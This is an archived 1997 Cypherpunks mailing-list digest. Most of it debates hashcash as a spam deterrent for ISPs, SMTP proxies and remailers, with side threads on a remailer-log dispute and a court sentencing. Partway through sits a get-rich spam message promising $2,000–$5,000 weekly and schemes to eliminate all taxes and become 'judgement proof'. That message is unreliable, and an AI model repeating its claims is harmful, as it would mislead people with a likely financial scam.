> of that doesn't support email plugins.  Perhaps in this case a small proxy
> could be installed on the user's machine.  The only thing it would have to
> do is generate hashcash for outgoing messages.  

A local SMTP proxy to add hashcash on the way out should work fine.

> >require valid hashcash on all mail, _until_ the
> >recipient replies to a mail.  This is good because people rarely reply
> >to spammers.
> >
> >Then you add some hashcash accounting so that users who overspend
> >(consuming more than say 1 minutes CPU consumption on the server in a
> >24 hour period have their email bounced with explanation of how to
> >generate their own hashcash as a heavy user).
> 
> What's the difference between this and simply keeping track of how many
> messages each user sends in a 24 hour period and blocking people who are
> obviously spamming?

The difference is that it allows the ISP which is hit by spam attacks
to install a hashcash filter.

With simple resource metering at the spammers ISP side, the spammers
typically abuse other peoples open SMTP agents to forward their spams
for them.

Their ISPs can do little about this.

Really it's best if the sender is left to generate his own hashcash,
the motivation for working out ways to have the originators ISP's
outgoing SMTP hub generate hashcash for them is that it is simpler to
install in the short term.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0



Forwarded message:

> Date: Fri, 12 Dec 1997 20:24:59 -0800
> From: Bill Frantz 
> Subject: Re: hashcash spam prevention & firewalls

> I think there needs to be a story for mailing lists.  It might be
> acceptable for the first pass to allow spamming of mailing lists but not of
> individuals email addresses.  (Apologies in advance to list moderators.)

We have a moderator? This is news to me and I suspect the other CDR
operators. Who is this person please, I would very much like to discuss a
couple of issues with them...


    ____________________________________________________________________
   |                                                                    |
   |                                                                    |
   |      We built your fort. We will not have it used against us.      |
   |                                                                    |
   |                          John Wayne -  Allegheny Uprising          |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From ravage at ssz.com  Sat Dec 13 05:58:53 1997
From: ravage at ssz.com (Jim Choate)
Date: Sat, 13 Dec 1997 21:58:53 +0800
Subject: Radio Free Cypherpunks...
Message-ID: <199712131413.IAA22334@einstein.ssz.com>



Hi,

With the recent changes in the law regarding Pirate Radio is anyone looking
at sending the cypherpunks traffic over a low-power transmitter so that
folks in your town can tune in and listen to the traffic? Seems like a
perfect means to make the issues even better known.


    ____________________________________________________________________
   |                                                                    |
   |                                                                    |
   |      We built your fort. We will not have it used against us.      |
   |                                                                    |
   |                          John Wayne -  Allegheny Uprising          |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From jongalt at pinn.net  Sat Dec 13 06:08:27 1997
From: jongalt at pinn.net (Jon Galt)
Date: Sat, 13 Dec 1997 22:08:27 +0800
Subject: CDT VTW "aces" launch "bold" new Net-firm, by Brock Meeks
In-Reply-To: 
Message-ID: 



On Fri, 12 Dec 1997, Declan McCullagh wrote:

> ---
> 
> http://www.msnbc.com/news/129054.asp
> 
> Noted Net lobbyists form for-profit firm Two non-profit cyberspace
> advocates now look to market Internet strategies
> 
> By Brock Meeks
> 
> WASHINGTON -- This is a story of defection. Two well-known
> voices on cyberspace advocacy issues Jonah Seiger of the Center for
> Democracy and Technology and Shabbir Safdar of Voters
> Telecommunication Watch said Tuesday they're forming a
> company specializing in "Internet campaign strategies."
> Spin doctors for fun and profit. And along they way, they hope to
> help make the Internet safe for Democracy.

Maybe I'm dumb as a post (no pun intended), or maybe I'm just not up to 
speed on these advocacy issues, but - where's the defection?  Why is 
starting a company, or the particular company in question considered a 
defection?


> The move is a dramatic shift for the two. In four years they have
> been at the forefront of the most contentious issues in cyberspace.
> They've created and honed their Internet strategies in the
> bare-knuckle world of Washington politics with incessant digital
> lobbying. No more. "We aren't going to be walking
> around the halls of Congress lobbying on behalf of anybody,"
> Seiger said.

What's so dramatic about it?


> Seizer's own currency
> inside the Center for Democracy and Technology has been on a steady
> rise; he routinely is quoted on cyberspace issues. Now he's
> chucked all that for a start-up that depends on a medium that
> hasn't yet proven it can sustain a commercially viable site.

Is this a claim that nobody has made any significant money through the 
internet?

______________________________________________________________________
Jon Galt
e-mail:  jongalt at pinn.net
website:  http://www.pinn.net/~jongalt/
PGP public key available on my website.
Democracy is two wolves and a sheep voting on what to have for dinner.
______________________________________________________________________






From nobody at REPLAY.COM  Sat Dec 13 06:11:36 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Sat, 13 Dec 1997 22:11:36 +0800
Subject: Another of Gary Burnore's Lies Exposed
In-Reply-To: <66q35r$7uq@examiner.concentric.net>
Message-ID: <199712131402.PAA10108@basement.replay.com>



"Sam"  wrote:

> >:That's precisely my point.  And now he refuses to disclose his motives for
> >:that demand or what he intended to do with the names and addresses contained
> >:in those logs.  Every time he's asked the question of why he attempted to
> >:violate the privacy of hundreds or perhaps thousands of remailer users, it
> >:elicits another tantrum that goes, "Lies!  Prove it!  Why are you harassing
> >:me?  What are your demands?"
> >
> > You still can't answer it so you ignore it. 
>  
> What is the nature of the harassment that you are complaining about?  Has
> this anonymous individual mailbombed you?  Made threatening phone calls in
> the middle of the night?  All I see are a bunch of posts, without any
> profanities, that make a bunch of cogent points, and claims.  Is this what
> you consider harassment?  Is this what you call "harassment"?
>  
> That must mean that I'm harassing you as well, right?

That is exactly my objection to the tactics of Gary Burnore and the DataBasix
gang.

NOW Gary claims that he's not against remailers, yet his treatment of Jeff 
Burchell speaks for itself.  In the past, he's said things like "remailers
have their place, but their operators should prevent them from being used for 
abuse".  That sounds reasonable, until you read between the lines.  He calls
the kind of discussion that the three of us are engaging in "harassment", and
has even, upon occasion, accused posts critical of him of constituting
"libel".  Yet he offers no suggestion of how a remailer operator is supposed
to detect and prevent "libel".  He has offered no handy-dandy Perl script
which will act as a "truth filter" and detect the truth or falsity of a
particular post, since posting the truth about someone, as unflattering as
it may be, is not "libel".

Actually, Gary may unwittingly prove to be a "friend" of remailers, yet.  His
dealings with people who challenge him publicly should serve as an object
lesson as to why people may wish to think twice before broadcasting their
e-mail addresses to the world with every Usenet posts.  Most people, I would
suspect, would not consider it great fun to speak their mind and face
retaliation by having an old state tax lien (complete with street address)
dredged from the archives and posted worldwide to usenet, with the threat that
unless the criticism ceases, "there's more where that came from".

It's sort of hard to harass an anonymous poster in that fashion, so Gary has
to settle for juvenile taunts of "anon asshole".






From ant at notatla.demon.co.uk  Sat Dec 13 06:30:09 1997
From: ant at notatla.demon.co.uk (Antonomasia)
Date: Sat, 13 Dec 1997 22:30:09 +0800
Subject: hashcash spam prevention & firewalls
Message-ID: <199712131225.MAA02138@notatla.demon.co.uk>



Adam Back :

> I am looking at writing some hashcash
> (http://www.dcs.ex.ac.uk/~aba/hashcash/) based spam prevention
> software.

> So what we want is a filter to bounce messages without the required
> hashcash postage, we ideally want this to happen at the ISP or
> organisational SMTP server end, rather than at the recipients end,
> because a) it is simpler for 1 service provider to install software
> than 100,000 neophytes,

Hashcash in this context suffers from the 'fax effect' - the
catch 22 of "We won't install what isn't widely used".


>                         and b) it reduces bandwidth consumption on
> dial up users pay per second lines as the spam is killed before they
> see it.

I have not (yet) persuaded demon to allow user-defined procmail rules
on the ISP end of the phone lines.  Anybody know an ISP who does this ?
I'll be with them in days if they match the other services I want.
I can't imagine ISPs installing something at all exotic if they refuse
to use procmail.

> Secondly the proxy approach prevents some of the SMTP server functions
> from operating properly because the process on the other end of the
> socket is our hashcash proxy on localhost rather than the remote mail
> hub

No loss.

> If the postage is valid, replay the headers to the real SMTP server
> (with IP masquerading so that the IP address appears to be coming from
> the originator, so that the SMTP server will not get upset about
> reverse DNS look up mismatches etc).  Then act as a dumb proxy for the
> rest of the connection passing data through to the normal hashcash
> server.

The above paragraph looks like a strange (and IMHO wrong) way to
mix firewall technologies.  If you are passing mail through a proxy
you won't want to either IP masq or lookup DNS records internally.

> There are a few techniques to reduce the overhead of preventing spam
> with hashcash.  One is to require valid hashcash only on the first
> message to a given address.  (Spammers being hit and run types, and
> even having to generate hashcash for each spamee once would be
> expensive for a spam list of 10 million unwilling spam recipients).
> Better, is to require valid hashcash on all mail, _until_ the
> recipient replies to a mail.  This is good because people rarely reply
> to spammers.

This means a huge database of who has replied to whom.  Must the
reply have headers indicating In-Reply-To a recognisable message ?


--
##############################################################
# Antonomasia   ant at notatla.demon.co.uk                      #
# See http://www.notatla.demon.co.uk/                        #
##############################################################






From frissell at panix.com  Sat Dec 13 06:37:18 1997
From: frissell at panix.com (frissell at panix.com)
Date: Sat, 13 Dec 1997 22:37:18 +0800
Subject: Not quite as much Blood in the Streets
In-Reply-To: <34921c6b.2682714@128.2.84.191>
Message-ID: <3.0.2.32.19971213093246.038e38f4@panix.com>



-----BEGIN PGP SIGNED MESSAGE-----

The Net teaches even old dogs new tricks.  From the Laissez Faire Books 
catalog:

http://www.lfb.org/investment.html#iv7644

*****************

James Davidson and William Ress-Mogg 

THE SOVEREIGN INDIVIDUAL
How to Survive and Thrive During the Collapse of the Welfare State
by James Dale Davidson and Lord William Rees-Mogg 

In their newest work, the authors of Blood in the Streets and The Great 
Reckoning predict increased autonomy for the individual as information 
technologies advance and old institutions crumble�including the welfare state 
itself. Along with an array of provocative predictions (government will 
declare war on groups that try to circumvent income tax through cyberspace; 
central banks will lose control over the money supply as cybercash supplants 
paper money; the U.S. government will shrink) Rees-Mogg and Davidson offer 
investment advice and strategies for coping.

*****************
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBNJKcjIVO4r4sgSPhAQHLQwQAlBdYuWWoA/Q3Y6xkM1vT3iMm0HMCAuBS
HYCu5NaRUfslMdbjvgqHAnc8SV+AX7fXVSfgCZ6nVtchnubgKaO22RcMlKWu423i
dQrBvP0ZBK+fbWaFjZVvVVS4uZcHrUniUNj/u57Px9OmzK09zXXfJqdBuvwfm8ta
X8br0rsIz48=
=0opA
-----END PGP SIGNATURE-----






From nobody at REPLAY.COM  Sat Dec 13 06:42:39 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Sat, 13 Dec 1997 22:42:39 +0800
Subject: Another of Gary Burnore's Lies Exposed
In-Reply-To: <34907059.1254176@nntp.best.ix.netcom.com>
Message-ID: <199712131433.PAA12675@basement.replay.com>



rashidk at mailexcite.com (Rashid Kaman) wrote: 

> X-No-Archive: yes

> >The whole "spam bait" issue is obviously a smoke screen, since the alleged
> >spam-bait came AFTER the demand for Jeff's logs.
>  
> The spambaits, at a rate of a dozen a day in early and mid-April, came
> BEFORE Jeff Burshell,  presented with their existence, offered in late
> April, to turn over his machine logs.

I'm not sure how you're involved in this scenario, nor what your source of
information is.  I was quoting from a public post by Jeff Burchell, the operator 
of the remailer in question, and he specifically stated that the so-called "spam 
baits" began AFTER Gary Burnore had demanded that Jeff turn over his remailer 
logs to DataBasix, and BEFORE Belinda Bryan sent him the letter claiming to be 
with DataBasix' "legal department" and formalizing that demand.

Read it for yourself:

-> I still don't know what the hell is going on with DataBasix, Wells Fargo
-> and Gary Burnore, but I suspect that someone used huge.cajones to say
-> something extremely unflattering about Burnore (from what I can tell,
-> he had it coming).  Burnore then decided that he would make things
-> difficult for me.  First, he wanted the user who had posted something 
-> "inflammatory" about him revealed.  When I told him that I couldn't
-> do that, he carried on about mail logs and identifying the host that
-> a message came from (the usual).  I didn't explain to him that my
-> machine keeps logs, but not anything involving a *@cajones.com
-> address.  He then requested the logs, which I denied (and told him 
-> to get his lawyer to send a request...)

Here comes the key part:
  
-> Between the time he first contacted me, and the time I received the 
-> letter from Belinda Bryan, is when the baiting of databasix addresses
-> began (slowly, with just a few posts).

It appears that his account differs from yours.






From frissell at panix.com  Sat Dec 13 06:43:51 1997
From: frissell at panix.com (frissell at panix.com)
Date: Sat, 13 Dec 1997 22:43:51 +0800
Subject: Columbian squib on Bell sentencing
In-Reply-To: <3.0.2.32.19971212220205.006c67c8@pop.sirius.com>
Message-ID: <3.0.2.32.19971213093848.038eb1a8@panix.com>



-----BEGIN PGP SIGNED MESSAGE-----

>>From The Columbian's web site at
>:
>
>     'Assassination Politics' 
>     author gets 11 months
>
>       TACOMA, Wash. - James Dalton Bell, the Vancouver man who wrote an
>Internet essay entitled "Assassination Politics," was sentenced this
>morning to 11 months in prison and two to three years of tightly supervised
>probation.


Eleven *whole* months (8 months served already).  They've got to be kidding.  
This is misdemeanor territory.  I know he was chicken enough to plead but 
Milken pleaded and got 10 years!  We're quaking in our boots out here.

DCF
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBNJKd94VO4r4sgSPhAQGYXAQAhuBPPWTUz65vSJLRTWwUZCocxMlUqWls
CAQi5fiQiYjD8mWSYscX18g+duFpdGZAyfMUhMCz3s2MbekDuDyyoqg9M35bnUO/
WSf7n8xwWkGE8TNfWoNMa/qfehmxLQNFJzZyXSHQ08MxMQiMnQx7phtThVOTjqHr
yAx8OEmKE0A=
=xmE0
-----END PGP SIGNATURE-----






From frissell at panix.com  Sat Dec 13 06:49:24 1997
From: frissell at panix.com (frissell at panix.com)
Date: Sat, 13 Dec 1997 22:49:24 +0800
Subject: CDT VTW "aces" launch "bold" new Net-firm, by Brock Meeks
In-Reply-To: 
Message-ID: <3.0.2.32.19971213094124.038f1aec@panix.com>



-----BEGIN PGP SIGNED MESSAGE-----

>http://www.msnbc.com/news/129054.asp
>
>Noted Net lobbyists form for-profit firm Two non-profit cyberspace
>advocates now look to market Internet strategies
>
>By Brock Meeks
>
>WASHINGTON -- This is a story of defection. Two well-known
>voices on cyberspace advocacy issues Jonah Seiger of the Center for
>Democracy and Technology and Shabbir Safdar of Voters
>Telecommunication Watch said Tuesday they're forming a
>company specializing in "Internet campaign strategies."

MarketEarth enfolds another two helpless victims in its coils.  Beware.  You 
may be next...

DCF
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBNJKekoVO4r4sgSPhAQFZbAQAureZot0woH7CANkCc4l+SP5A4q3DzgbB
xp8y8zkT7JSriQULfLPMwoy7KR7v4kduQQj1wfywpb+MzIw2OtO9e/n56uIYo61a
9ZMjdGbONbGO6pua4H2Yj7Ymru1o2BSk+597tTAW6k6PIqh37faRZxULbyI0HZLu
lkeUaz1SbiY=
=oyYF
-----END PGP SIGNATURE-----






From 95059550 at moneymakers.com  Sat Dec 13 23:37:52 1997
From: 95059550 at moneymakers.com (95059550 at moneymakers.com)
Date: Sat, 13 Dec 1997 23:37:52 -0800 (PST)
Subject: Earn $2,000-$5,000 per week...NOT MLM
Message-ID: <199746522791.FBB03720@mns.com>



ARE YOU READY TO MAKE IT; WILL THE LIGHT GO ON?

Are you tired of working 9-5 for peanuts, with little or no control over your financial destiny? Hello, my name is Dieter and my partners name is Dennis
 (By the way, please forgive this intrusion. We are looking for people who have
an entrepreneurial spirit and can recognize an opportunity when they see it and move on it! If that's you, We'd like to invite you to join our team and work from your home making $2.000 to 5,000 per week and more....much more in some cases. One of our members quit her job of 14 years after one month! Another made the cover of a national magazine after just one quarter! Skeptical? You should be. You've seen every scam out there. So have the rest of us. But simply stated, this is the finest opportunity in America today. We can prove it. How? We have exactly what over-worked, under-paid, over-taxed Americans desperately want and need!

REMEMBER, THE ROAD TO HELL IS PAVED WITH GOOD INTENTIONS!

It's your choice, financial freedom or bondage!

INTRODUCTION:
    Our international association is comprised of a large group of extremely diverse independent individuals from attorneys, physicians, CPA's, licensed financial consultants and other professionals to housewives, students and blue-collar workers.

Since the original founders of our organization first banded together just over three short years ago, we have grown to over 20,000 members in the United States and Canada and we are adding literally hundreds of new associates every day. What's so incredible about our phenomenal growth rate is that we are not M L M'ers!!

HERE ARE 16 REASONS YOU SHOULD TAKE A SERIOUS LOOK AT THIS:

1.YOU REALLY CAN EARN $2,000 - $5,000 PER WEEK, WORKING FROM YOUR HOME... By and large, the majority of us already are. Why not you too?
2.  FAST AND EASY WITH REASONABLE STARTUP COSTS... You can be up and going, trained and generating huge cashflow, within 24 hours from the time you decide to pursue this venture. You won't need any personnel, office, liability or workers comprehensive insurance --- just a fax machine and a phone!
3.  REASONABLE FIXED OVERHEAD/OPERATING COSTS... Your only overhead is your phone bill!
4.  PROFITS THAT ENTREPRENEURS USUALLY ONLY DREAM OF.. A 90% profit margin on sales of $1,250 or $6,250 respectively, means you net either $1,125.00 OR $5,625.00 on **EVERY** sale!
5.  EASY TO MARKET; We don't do any selling..everyone wants and needs our products! All we do is explain it and offer it to people! REAL? Don't take my word, prove it to yourself!  Take a look at this and then do what over 20,000 of us have done.
6.  NOT MLM... This is not some chain letter or any other kind of bogus, unethical or illegal scheme.  (EXAMPLE: Our $1,250 product's actual value is estimated to be between $10,000 and$15,000!).
7. NO INVENTORY MAINTENANCE OR ORDER FULFILLMENT... WITH AN UNCONDITIONAL TEN DAY MONEY BACK GUARANTEE. .
8. 8.  DEAL EXCLUSIVELY WITH ONLY INTERESTED PROSPECTS...
9.  ALL PROCEEDS ARE ISSUED DIRECTLY TO YOU.
10.  ALL THE FRESH HOT LEADS YOU CAN HANDLE....
11.  TRAINING, MARKETING, ADMIN. SUPPORT SECOND TO NONE... Most people who market our products make 1 or 2 sales their VERY FIRST WEEK,  we're ALWAYS there to HELP YOU
12.  OUR PRODUCTS...THE BEST THERE IS. Simply put, what we sell to earn our extraordinary living, is education, incredible and verifiable factual information that 99% of the world's population doesn't even know exists, including most Attorneys, CPA's, so called Tax Experts, Tax Consultants, Financial Consultants, Investment Strategists and the like. It's no big secret that the rich pay very little (if any) taxes on their incomes, but how do they get away with it? With these simply presented and easily understood educational products, ordinary people just like you and me are now learning to use the same complex tax avoidance and investment strategies that the wealthy have always used! Anyone who purchases our products quickly finds out that no matter what their current situation, they can substantially reduce (and in some cases even totally eliminate) ALL of their personal and/or business tax liabilities, forever and completely legally. And, interestingly enough, the informatio!
n is just as valid for those who
 are wage earners as those who (already) have money! Consumers of these incredible educational products also learn that there are many safe (insured) investment vehicles that the wealthy use, which generate three to five times more yield on their cash investments in one month, than the rest of the world gets in a whole year?  Our products not only identify these vehicles, but even show techniques and methodologies that an average person can use in taking advantage of them - even with very little cash to invest! (IMPORTANT NOTE: We, the salespeople who market these products, Do not sell investments or investment opportunities of any kind nor do we give any legal, investment, tax, or other "professional" advice). And, did you know that because our society has become so litigious, the odds of an individual being named as a defendant in a civil litigation in the next 12 months, are now more than 10 times greater than the odds that they'll be hospitalized? These products also show !
average people how to become leg
ally "judgement proof" --- how to fully protect both their current and future assets from any form of liens, levies or judgements in any civil legal action wherein they are named as a defendant. 
13.  CREDIBILITY...
Our association is only a little over three years old but has already established itself as a well recognized, well reputed and universally respected international organization.
14.  INCREDIBLE, VERIFIABLE TRACK RECORDS OF SUCCESS... You'll be introduced to many others in our association who are already earning a great deal of money(mostly just average middle class people like you and I), and have been able to do so virtually immediately as soon as they started with us.  
15. SPEND LOTS MORE TIME WITH YOUR FAMILY... 
Our turnkey system does not require long hours in order to be successful.
16.  THIS IS IT -- NO HYPE -- NO EXAGGERATION...
In over 35 years of owning and operating my own businesses, before I took a real good look at this, of course I thought I'd seen it all. Frankly, I was convinced that I already knew everything there was to know about anything relating to marketing and sales, if not business in general. I am well experienced and a professional who considers myself exceptionally savvy. But as soon as I got the full picture, it turned my previous view of business and even the views I had of myself, upside down!  My experience then led me to the question, "If my logic as well as my calculations were even half accurate, and I could make great money not even having to sell much, what if I sold a lot?" With that I jumped in on Oct'97 and haven't regretted it for even a split second since. With some experience under my belt now, I can tell you two things without any hesitation whatsoever: 1) Expect to earn an enormous personal income, and 2) do so while enjoying yourself doing it. 

FROM ME TO YOU, PERSONALLY.......
  If  you are a little skeptical of the above "unbelievable" outline of this opportunity, that's okay. At first, so was I (and so is everyone else who first runs into it). We understand, especially in this day and age, that it's prudent to be cautious. But from me to you, don't let anything, including any bitter memories you have of bad experiences, keep you from at least giving this an honest look. YOU OWE IT TO YOURSELF AND YOUR FAMILY! ". I give you my word, you won't be sorry you did. 

If you are interested in how you can earn a great deal of money quickly,call us at: (Note please read this letter completely before calling any of the following numbers.)

904-654-7727 (Ext. 6200) For money-making information 
904-654-7727 (Ext. 5093) For information on taxes
Please call the above two numbers before calling the (888) number below.
1-888-245-9163 - To set up an interview (24 Hours a day)

Please feel free to forward any specific questions or comments. We will return all calls in the order they were received. A telephonic interview is required before acceptance . Thereafter you will be given a toll-free number to contact us at any time.

We are looking for 5 good people, you could be one of them!

Sincerely,
DENNIS  AND  DIETER


             









From pooh at efga.org  Sat Dec 13 08:12:36 1997
From: pooh at efga.org (Robert A. Costner)
Date: Sun, 14 Dec 1997 00:12:36 +0800
Subject: remailer hashcash spam prevention
In-Reply-To: <3.0.3.32.19971212234515.006a79a0@mail.atl.bellsouth.net>
Message-ID: <3.0.3.32.19971213110625.032e7afc@mail.atl.bellsouth.net>



At 10:55 AM 12/13/97 GMT, Adam Back wrote:
>Remailers require a different strategy.  With remailers you are trying
>to discourage spammers from using the remailer, with email you are
>also trying to discourage spammers, but you have to do it in ways
>which is easy for neophytes to cope with.

I'm unsure that this is what we are trying to do at all.  I'm perfectly
willing to assume that a remailer gets it's mail into it.  The problem is
now that the remailer has to deliver the mail.  Under this plan, to deliver
mail there must be hashcash for the delivery to the point beyond the
remailer.  I'm suggesting that if the remailer sends out 3,000 messages
with a 1/3 sprinkling of CC'ed addresses on equipment that is half as fast
as normal equipment, the 20 seconds of hashcash will require an average of
44 hours of CPU time per day.  44 hours for the hashcash that is needed at
the destination SMTP, not the hashcash to get into the remailer.

HashCash has often been suggested as a method for throttling spam that
would be sent to remailers.  This is not what I was responding to.  I was
responding to a suggestion that ISPs start requiring hashcash.  I'm
honestly unclear as to whether the remailer must generate the hashcash for
the future SMTP's or if the suggestion is that the originator is generating
all of the hashcash.  Since remailers mangle the messages and regenerate
them, I am unsure if originator generated hashcash is to be made for the
destination mail port, or if the remailer must do this.

If there is in fact a requirement that the sender generate the hashcash,
then I am not sure this will work.  A nym reply block possibly does not
lead to an exit address, but rather to another reply block.  In fact, this
should always be the case.  There is no way for the sender of the email to
know this route, or how many reply blocks there are.  Any scheme which
permits the same hashcash to send a message to two nym reply blocks and a
destination address will also allow spammers to send spams to multiple
addresses with the same hashcash.

Not only with nyms, but with regular email addresses multiple hops may be
required to deliver email.  For instance, the address "rcostner at cpsr.org"
will deliver email to me.  This address forwards mail to "pooh at efga.org".
The efga domain cannot be POP'ed into, so this is then remailed to wherever
I'm POP'ing into this month.  Since the original sender cannot know this,
and since ALL email to me requires a minimum of two mail gateways to get to
me it seems that this hashcash plan has some problems.

Further, I highly dislike the notion of maintaining system level databases
of who is communicated with.  As in a quote from Adam Back's web page

     To solve this problem subscribers should put the mailing list
     address in a postage-free recipients list. 

Traditional "wire tapping" would require that a communications port be
monitored to find out who communications are being made with.  Under the
"postage free list" plan, this information sits in a file waiting to be
collected with no difficulty at all.  Implemented on the SMTP level, we
have a way of testing for who a person communicates with.  After a HELO, we
spoof in a MAIL FROM:, then look to see if we get a "559 HashCash Required"
error.

I've never been impressed with the hashcash method of thwarting spam.  I'm
just not really sure that a technical solution to spam will work in any event.


  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh at efga.org  
     http://www.efga.org/            run PGP 5.0 for my public key






From ravage at ssz.com  Sat Dec 13 09:30:42 1997
From: ravage at ssz.com (Jim Choate)
Date: Sun, 14 Dec 1997 01:30:42 +0800
Subject: Not quite as much Blood in the Streets (fwd)
Message-ID: <199712131743.LAA22964@einstein.ssz.com>



Forwarded message:

> From: frissell at panix.com
> Date: Sat, 13 Dec 1997 09:32:46 -0500
> Subject: Not quite as much Blood in the Streets

> The Net teaches even old dogs new tricks.  From the Laissez Faire Books 
> catalog:
> 
> http://www.lfb.org/investment.html#iv7644
> 
> *****************
> 
> James Davidson and William Ress-Mogg 
> 
> THE SOVEREIGN INDIVIDUAL
> How to Survive and Thrive During the Collapse of the Welfare State
> by James Dale Davidson and Lord William Rees-Mogg 
> 
> In their newest work, the authors of Blood in the Streets and The Great 
> Reckoning predict increased autonomy for the individual as information 
> technologies advance and old institutions crumble�including the welfare state 
> itself. Along with an array of provocative predictions (government will 
> declare war on groups that try to circumvent income tax through cyberspace; 
> central banks will lose control over the money supply as cybercash supplants 
> paper money; the U.S. government will shrink) Rees-Mogg and Davidson offer 
> investment advice and strategies for coping.

Check the archives, I've made several posts about this book.

It *SUCKS*, the authors can't make up their minds, use poor logic, use
examples which if researched even a little become clearly incompatible with
their thesis, etc.

Spend your money elsewhere.


    ____________________________________________________________________
   |                                                                    |
   |                                                                    |
   |      We built your fort. We will not have it used against us.      |
   |                                                                    |
   |                          John Wayne -  Allegheny Uprising          |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From aba at dcs.ex.ac.uk  Sat Dec 13 10:07:01 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Sun, 14 Dec 1997 02:07:01 +0800
Subject: hashcash spam prevention & firewalls (fwd)
In-Reply-To: <199712131409.IAA22278@einstein.ssz.com>
Message-ID: <199712131741.RAA01452@server.eternity.org>



Jim Choate  writes:
> > acceptable for the first pass to allow spamming of mailing lists but not of
> > individuals email addresses.  (Apologies in advance to list moderators.)
> 
> We have a moderator? 

I Bcc'd the message Bill is replying to to coderpunks at toad.com;
coderpunks has a retro moderator (what ever that may mean in practice
-- all I've seen so far is "this is off topic, please stop at once"
posts from said retro-moderator).

Adam






From bill.stewart at pobox.com  Sat Dec 13 10:38:23 1997
From: bill.stewart at pobox.com (Bill Stewart)
Date: Sun, 14 Dec 1997 02:38:23 +0800
Subject: Columbian squib on Bell sentencing
In-Reply-To: <3.0.2.32.19971212220205.006c67c8@pop.sirius.com>
Message-ID: <3.0.3.32.19971213102405.0077fbf0@popd.ix.netcom.com>



At 09:38 AM 12/13/1997 -0500, frissell at panix.com wrote:
>Eleven *whole* months (8 months served already).  They've got to be kidding.  
>This is misdemeanor territory.  I know he was chicken enough to plead but 
>Milken pleaded and got 10 years!  We're quaking in our boots out here.

Does the 11 months include time served?  

Also, the Columbian story on Bell had a pointer to http://wire.ap.org/
which had its top story on a trade pact opening up relatively free trade
in the financial services business.
http://wire.ap.org/APnews/center?STORYOID=204c.12470&FRONTID=PACKAGE&EXTRA=BIZtrade
				Thanks! 
					Bill
Bill Stewart, bill.stewart at pobox.com
PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639






From schear at lvdi.net  Sat Dec 13 10:38:23 1997
From: schear at lvdi.net (Steve Schear)
Date: Sun, 14 Dec 1997 02:38:23 +0800
Subject: remailer hashcash spam prevention
In-Reply-To: <3.0.3.32.19971212234515.006a79a0@mail.atl.bellsouth.net>
Message-ID: 



I disagree that the best way to implement hashcash is solely via the SMTP mechanism.  

Almost any efficient hashcash mechanism will require some sort of history file, or "invited list," to allow mail lists and those we have corresponded with to continue to do so w/i having to supply hashcash each time.  This list contains information which might have privacy implications and so should not be stored at the ISP, which can be forced to reveal such info w/o the knowledge of the client.

If 'open' list policies were changed so that anyone could post if they supplied enough hashcash for each mailing list recipient for their first 1 or 2 posts, and thereafter no longer needed to supply hashcash (sort of minimum reputation capital), it might eliminate hit-and-run or throw-away account SPAMers without offering too high a hurdle to new or infrequent posters.

Since most popular email clients allow plug-ins (e.g. Eudora) or extensions via Java/ActiveX, providing hashcash functionality via a plug-in and the java generators you propose would provide a simple mechanism to test its effectiveness w/o needing to involve the IETF.  The shortcoming of a plug-in approach is that few newbies will know of it or install it and will therefore have to wait till its built into the new release of whatever client they use or until some or all of the features are supplied by their ISP, allowing those calling regulation to continue to blow their horns.  However, if after a successful cypherpunk beta we could get the major email client companies (Netscape, M$ and Qualcomm) to include our plug-ins with all their new updates and offer them for free download from their Web sites, it could quickly steal the CAUCE folk's thunder.

--Steve








From bill.stewart at pobox.com  Sat Dec 13 10:38:52 1997
From: bill.stewart at pobox.com (Bill Stewart)
Date: Sun, 14 Dec 1997 02:38:52 +0800
Subject: hashcash spam prevention & firewalls
In-Reply-To: <199712131225.MAA02138@notatla.demon.co.uk>
Message-ID: <3.0.3.32.19971213101329.007794a0@popd.ix.netcom.com>



At 12:25 PM 12/13/1997 GMT, Antonomasia wrote:
>Hashcash in this context suffers from the 'fax effect' - the
>catch 22 of "We won't install what isn't widely used".

Makes sense to run it in a permissive mode for a while first -
sendmail++ could add hashcash to outgoing messages, and mark the
hashcash information in the headers on incoming messages.
The catch is getting it generated - you've got to include it
either in ISP's outgoing relays, or ideally in client software.
(Since hashcash is mainly for spam prevention, relays _could_
just check that there's some valid hashcash going by without
removing it - that's a bit tricky in multiple-recipient mail anyway,
since you'd normally need to include one hashcash per recipient.)
So if you want it adopted, you'd need to talk to the folks at
Qualcomm Eudora and at Netscape, and see if you can get Microslush
to include it in some of their mail clients.  This does have the
advantage that most of the CPU load is calculated on users' machines,
where there's plenty of spare horsepower, rather than on relay
